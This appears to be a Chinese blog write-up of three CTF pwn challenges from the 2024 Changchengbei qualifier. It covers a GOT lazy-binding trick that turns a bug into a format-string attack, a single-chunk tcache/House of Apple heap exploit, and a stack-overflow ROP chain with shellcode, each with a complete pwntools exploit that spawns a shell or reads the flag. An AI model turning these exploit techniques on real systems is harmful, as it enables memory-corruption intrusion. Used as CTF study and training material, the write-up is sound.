2820 字
14 分钟
阅读量 --
Hits
[2024长城杯初赛] Pwn题SomeHash SomeTime shutup题解

SomeHash#

题目实现了简单的 Hash 计算的逻辑,提供了 3 次初始的计算用户输入 Hash 的机会

其中漏洞点在

image-20240331194408745

这里的 v10 没有检查负数,可以向 bss 段上方的数据中写入一字节

这里的利用方法是一个小技巧,来自于 got 表的 lazy 函数注册逻辑,也就是 checksec 显示如下

image-20240331194320257

Lazy 函数注册逻辑#

当 ELF 加载时,并不会直接调用 dl_runtime_resolve 将函数注册成真实地址,此时 got 表也是可写的,我们再观察一下这里 got 表指向,这里指向的是 plt 上方的一个地址,可以看到这里的 exit 函数,got 表进入的是 0x1030 的位置,之后 jmp 到了 0x1020 的函数,0x1020 函数内会 jmp 到 0x5010 的位置,也就是 pwndbg 中的_dl_runtijme_resolve_xsavec

image-20240331195253059

image-20240331195144656

关于对于dl_runtime_resolve的内容这里就不赘述了,网上有很多教程。这里我们并不需要关心dl_runtime_resolve做了什么,我们只需要动态观察 got 表未注册的内容的规律,在上面的 pwndbg 显示的,注意这里 got 表是可写的,那么我们就有一个大胆的猜想,如果我们在函数注册之前,修改了 got 表里的数据会怎么样?

可以看到的是,在函数注册前,got 表内容十分相近,相差只有一个 byte,上述的数组下标溢出的漏洞非常合适这里的利用。

strlen2printf#

这里有一个非常合适的错误注册的函数 ——strlen

这里 main 函数逻辑中,调用 strlen 是在漏洞利用之后,我们可以修改未注册的 strlen 的 got 表内容,改成 printf 的偏移,使得 strlen 错误的注册成 printf 函数,而在接下来的函数调用中,buf 内容是可控的,导致我们可以将数组下标溢出漏洞转换成 printf 格式化字符串漏洞

(并且,printf 的返回值是输出字符的数量,strlen 也是字符数量,并不影响后续程序的逻辑)

image-20240331200116857

至此,我们构造了一个非栈上字符串的格式化字符串漏洞,而这个问题也已经有方法解决https://www.freebuf.com/vuls/284210.html

EXP#

完整 exp 如下,直接使用格式化字符串提权是困难的,因为一共只有 4 次机会,我们可以利用这四次机会,修改 dword_5078 地址内容,使得 while 的次数变多,最后完成格式化字符串攻击

from pwn import *
context.log_level = 'debug'
# io = process("./somehash")
io = remote("127.0.0.1", 9999)
tob = lambda x: str(x).encode()
io.sendlineafter(b"name length> ", tob(-0x98))
payload = flat({
0: b"xxx>%6$p->%19$p->%21$p-",
0x80-2: b"a"
})
io.sendlineafter(b"name> ", payload)
io.recvuntil(b"xxx>")
stack = int(io.recvuntil(b"-", drop=True), 16)
log.success(f"stack : {stack:#x}")
io.recvuntil(b">")
libc_leak = int(io.recvuntil(b"-", drop=True), 16)
log.success(f"libc_leak : {libc_leak:#x}")
io.recvuntil(b">")
elf_leak = int(io.recvuntil(b"-", drop=True), 16)
log.success(f"elf_leak : {elf_leak:#x}")
elf_base = elf_leak - 0x258b
log.success(f"elf_base : {elf_base:#x}")
libc_base = libc_leak - 0x29d90
log.success(f"libc_base : {libc_base:#x}")
stack_target = stack - 0x100
payload = f"%{stack_target % 0x10000}c%23$hn".encode()
io.sendlineafter(b"content> ", payload)
target = elf_base + 0x05078 # cnt
payload = f"%{target % 0x10000}c%53$hn".encode()
io.sendlineafter(b"content> ", payload)
payload = f"%{0x100 - 200}c%21$hn".encode()
io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110
payload = f"%{stack_target % 0x10000}c%23$hn".encode()
io.sendlineafter(b"content> ", payload)
write = libc_base + 0x000000000002a3e5 # pop rdi
for i in range(6):
target = stack_target + i
payload = f"%{target % 0x100}c%23$hhn".encode()
io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode()
io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110 + 0x8
payload = f"%{stack_target % 0x10000}c%23$hn".encode()
io.sendlineafter(b"content> ", payload)
write = elf_base + 0x50c0 # ->"/bin/sh"
for i in range(6):
target = stack_target + i
payload = f"%{target % 0x100}c%23$hhn".encode()
io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode()
io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110 + 0x10
payload = f"%{stack_target % 0x10000}c%23$hn".encode()
io.sendlineafter(b"content> ", payload)
write = libc_base + 0x000000000002a3e5+1 # ret
for i in range(6):
target = stack_target + i
payload = f"%{target % 0x100}c%23$hhn".encode()
io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode()
io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110 + 0x18
payload = f"%{stack_target % 0x10000}c%23$hn".encode()
io.sendlineafter(b"content> ", payload)
write = libc_base + 0x50d60 # system
for i in range(6):
target = stack_target + i
payload = f"%{target % 0x100}c%23$hhn".encode()
io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode()
io.sendlineafter(b"content> ", payload)
io.sendlineafter(b"content> ", b"/bin/sh\x00")
io.sendlineafter(b"content> ", b"/bin/sh\x00")
io.sendlineafter(b"content> ", b"/bin/sh\x00")
io.sendlineafter(b"content> ", b"/bin/sh\x00")
pause(1)
io.sendline(b"cat flag")
io.interactive()

image-20240331201257167

ps: 附录中有调试使用的 dockerfile 与 docker-compose.yml

SomeTime#

本题是单个堆块的堆风水题目,是一个你与 some 从恶魔手中夺取 flag 的合作历险故事

漏洞点在

SIGALARM 的信号处理函数 watch 中

image-20240331201819825

这里会将 now 指针中的低位字节清零,剧情中,some 在最后时刻能为你做到最后的事情。

信号注册在 init 函数中

思路也比较简单只需要利用 tcachebin 机制,把 tcachebin 当作以前 pwn 可以保存多个堆块的题目的堆块数组即可

为了做到上述内容,我们要保证每次申请释放的 size 大小不同,即可在 tcachebin 中只存在一个堆块

由于我们可以将申请出来的指针做低字节的修改,所以我们可以很方便的构造堆叠,修改 tcachebin 的 size 位使得 size 变大,扩大溢出范围,之后我们可以通过重复申请 tcachebin 内容的堆块,泄露地址,最后完成 fd 修改,最后 houseofapple 一把梭

关于堆风水#

这道一题目,我们需要尽量申请时候使用不同的 size,否则将会申请出相同地址的堆块,或者这里可以多次 add,使得申请多个无指针引用内存,使得内存地址扩展,之后篡改 size 顶部 tcachebin,size 位置,使得刚好大小超过 0x420 并能完美覆盖中间 tcache,衔接上后方伪造的 size,使得此时 free 后能进入 unsortedbin,从而可以泄露 main_arena 地址,使得泄露 libc 地址。

之后就是修改 tcachebin 的 count 使得大于 1,这里就要一些堆风水的技巧,一种可行的思路是,我们构造一种堆叠,使得一个大的 tcachebin 堆块覆盖两个及其以上的堆块,这样我们就可以同时操控 chunk1 和 chunk2 的内容,控制这两个 size 设置为相同的即可

(注意由于本题目只能拿到一个堆块做操作,也就是修改 fakechunk 的时候 chunk1 与 2 是在 tcachebin 中的,tacachebin 中并不检查 malloc 取出的堆块大小是否正确,同时这里修改 chunk2 时候,注意恢复 chunk1 的 fd 和 key 字段)

| ---------- fake chunk -------------------|
...-| --- chunk1 --- | --- chunk2 --- | -...

EXP#

PS:由于本题做了大量的 sleep 操作,这里在本地调试的时候需要 patch 掉 sleep 的时间,使得调试变快

在程序最后需要等待时间到达,系统自动调用 exit 退出即可获得 shell

from pwn import *
context.log_level = 'info'
context.arch = 'amd64'
# io = process(b"./sometime")
io = remote("127.0.0.1", 9999)
tob = lambda x: str(x).encode()
def add(size, content):
io.sendlineafter(b"(1:add,2:release,3:print)> ", b"1")
io.sendlineafter(b"size> ", tob(size))
io.sendafter(b"note> ", content)
def free():
io.sendlineafter(b"(1:add,2:release,3:print)> ", b"2")
def show():
io.sendlineafter(b"(1:add,2:release,3:print)> ", b"3")
log.success("exp running ...")
add(0x70, b"aaa")
free()
add(0x30, b"aaa")
free()
add(0x40, b"aaa")
free()
add(0x50, b"aaa")
free()
for i in range(0xa0-0x10, 0xf0, 0x10):
add(i, b"aaa")
free()
add(0x60, b"aaa")
free()
add(0x70, b"a" * 0x30 + p64(0) + p64(0x5e1) + b"114514")
free()
add(0x30, b"aaaa")
io.recvuntil(b"I can only assist up to this point. Sorry.")
io.sendline(b"3")
free()
add(0x100, b"\n")
show()
leak = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = leak - 0x21a10a
log.success(f"libc_base: {libc_base:#x}")
free()
libc = ELF("./libc.so.6", checksec=False)
libc.address = libc_base
add(0x100, b"a" * (0x78) + b"deadbeaf")
show()
io.recvuntil(b"deadbeaf")
heap_addr = u64(io.recv(5).ljust(8, b"\x00")) << 12
log.success(f"heap_addr: {heap_addr:#x}")
free()
add(0x100, b"a" * (0x80) + b"deadbeaf")
show()
io.recvuntil(b"deadbeaf")
key = u64(io.recv(8).ljust(8, b"\x00"))
log.success(f"key: {key:#x}")
free()
add(0x100, b"a" * (0x70) + p64(0) + p64(0x51) + p64(heap_addr >> 12))
free()
add(0x100, flat({
0x80: heap_addr >> 12,
0x88: key,
0xc8: 0x31
}))
free()
add(0x50, b"aaaa")
free()
add(0x100, flat({
0x78: 0x31,
0x80: heap_addr >> 12,
0x88: key,
}))
free()
add(0x40, b"aaaa")
free()
add(0x100, flat({
0x78: 0x51,
0x80: (libc.symbols["_IO_list_all"]) ^ (heap_addr >> 12),
}))
free()
add(0x20, b"aaaa")
free()
fake_file_addr = heap_addr + 0x7f0
# ref: https://blog.csome.cc/p/houseofminho-wp/
add(0xe0, flat({
0x0: b" sh;",
0x28: libc.symbols['system'],
0xa0: fake_file_addr-0x10, # wide data
0x88: fake_file_addr+0x100, # 可写,且内存为0即可
0xD0: fake_file_addr+0x28-0x68, # wide data vtable
0xD8: libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00"))
add(0x20, p64(fake_file_addr))
io.interactive()

image-20240331204105421

ps: 附录中有调试使用的 dockerfile 与 docker-compose.yml

shutup#

此题没有输出,单纯只有输入,没有开 PIE,没有开 canary,漏洞就是栈溢出

image-20240401042955524

但是这里难点是如何泄露,或者如何构造出 libc 的任意地址,很明显,这里不给我们第二次的输入机会

需要注意到,题目给了一个没有调用的函数,可以从数组中取出数据,这里可以利用数组下标负数溢出,使得取出 got 表中 read 地址

image-20240401043039760

image-20240401043048348

获得了 read 地址还不足以能够做到取出 libc 任意地址,但是如果这里的qword_601060 += atoi(nptr);逻辑就很巧妙,如果我们能够按照下面的方法控制执行流,那么我们就能将 read 内容存入 qword_601060 中,之后我们利用 rop,在 bss 上布置一个数字,并使用pop_rdi; ret 0x000400703的手法,就能在 qword_601060 中构造出 read+offset,我们也就能获得 syscall

image-20240401043318111

任意地址写原语#

在进入栈溢出函数的开始,我们只能写入 0x40 个字节,很明显,这是不够的,我们需要找到一种方法,能够任意地址写,并能支持写入多个字符。

答案是:依然还是函数 sub_4006B7,我们再次审视下面的函数汇编,会发现,edi 的数值会写入 [rbp-4] 的位置,而 rbp 我们可以通过 pop rbp 的 rop 控制

image-20240401043048348

我们很轻松的就能构造如下的原语

[
pop_rbp, 4 + addr,
pop_rdi, 0xde,
0x0004006BB, rbp,
]

这就能向 addr 中写入 0xde 字节,为什么我们只能写入一个字节呢?因为 edi 的数值后续会作为数组的索引,数字太大会导致索引到不可读的内存,导致段错误,所以为了保险起见,这里我们每次只写入 1 个字节

最后我们就能构造任意地址写的 payload 构造函数

def make_bytes(addr, bbb):
target = []
for i in range(len(bbb)):
tmp = bbb[i]
if tmp == 0:
continue
template = [
pop_rbp, 4 + addr + i,
pop_rdi, tmp,
0x0004006BB, base,
]
target.extend(template)
return target

接下来的内容就比较简单,控制 rdi、rsi、rdx 之后调用 mprotect 修改 bss 的可执行权限,写入 shellcode 即可

但是 rdx 的控制这里利用了,这个部分,控制 r12、rbx 内容使得 call 的内容刚好是 pop rbp,将 call 在栈上写入的地址 pop 掉即可

image-20240401044525680

EXP#

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
shellcode = asm(
f"""
mov rax, {u64((b"./flag" + bytearray([0]*8))[:8])}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov rdi, 3
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")
"""
0x0000000000400655 : call qword ptr [rbp + 0x48]
"""
tob = lambda x: str(x).encode()
io = process("./shutup")
mov_rax_libc = 0x0000400696
pop_rdi = 0x00000000004007e3
get_rax = 0x004006B7
call_rax = 0x000000000040064e
call_ptr_rax = 0x00000000004008a3
pop_r14_r15 = 0x004007E0
pop_rbp = 0x00000000004005c0
pop_rsp_r13_r14_r15 = 0x00000000004007dd
pop_rbx_rbp_r12_r13_r14_r15 = 0x04007DA
jmp_rax = 0x00000000004005b5
pop_r13_r14_r15 = 0x0004007DE
pop_rsi_r15 = 0x00000000004007e1
atoi = 0x00400550
offset = 0x10 # offset 2 syscall
base = 0x00601380
io.sendline(flat({
0: base + 0x38, # rbp
0x8: pop_rdi,
0x10: base + 0x30,
0x18: 0x00400703, # call atoi
0x20: pop_r14_r15,
0x28: b"ls",
0x30: tob(offset).rjust(7, b" ") + b"\x00",
0x38: 0x0601060-0x48,
}, filler=b"\x00"))
pause(1)
io.send(flat({
0: tob(0x40000),
0xf: b"\x00"
}, filler=b"\x00"))
def make_bytes(addr, bbb):
target = []
for i in range(len(bbb)):
tmp = bbb[i]
if tmp == 0:
continue
template = [
pop_rbp, 4 + addr + i,
pop_rdi, tmp,
0x0004006BB, base,
]
target.extend(template)
return target
rop_chain = []
rop_chain.extend(make_bytes(base + 0x40, flat(
[
pop_rbx_rbp_r12_r13_r14_r15, 0, 0, base + 0x40 + 8 * 8, 7, 0, 0,
0x4007C0, # mov rdx, r13
pop_rbp, 0x0601060,
pop_rdi, 2,
get_rax,
pop_rdi, base & (~0xfff),
pop_rsi_r15, 0x1000, 0,
0x000000000040094b, # jmp ptr[rbp]
base + 0xe0,
shellcode
], filler=b"\x00"
)))
rop_chain.extend(make_bytes(0x00601068, b"7"))
rop_chain.extend(make_bytes(0x00601070, p8(0xa)))
io.sendline(flat({
0: b"0\x00",
0x10: base,
0x18: rop_chain + [
pop_rdi, 2**32-((0x000601060-0x600fd8)//8), # read got
get_rax,
0x0000400715,
]
}))
io.shutdown("send")
io.interactive()

image-20240401045219256

不同的 libc,修改一下上面 offset 变量即可

附录#

以下是 Ubuntu GLIBC 2.35-0ubuntu3.1 的 docker 调试环境

Dockerfile

FROM ubuntu:22.04@sha256:b492494d8e0113c4ad3fe4528a4b5ff89faa5331f7d52c5c138196f69ce176a6
RUN apt update
RUN apt install socat -yyq
RUN useradd -M -s /bin/false ctf
WORKDIR /app
COPY your_elf flag /app/
RUN chmod +x /app/your_elf && chmod -w /app/your_elf && chmod -w /app/flag
USER ctf
CMD ["socat", "TCP-LISTEN:9999,reuseaddr,fork", "EXEC:/app/your_elf"]

docker-compose.yml

version: '3'
services:
pwn-dev:
build: .
ports:
- "9999:9999"
privileged: true
restart: unless-stopped

题目 zip

Csome/CTFTask/2024-03_长城杯

[2024长城杯初赛] Pwn题SomeHash SomeTime shutup题解
https://blog.csome.cc/p/2024changchengbei/
作者
Csome
发布于
2024-03-31
许可协议
CC BY-SA 3.0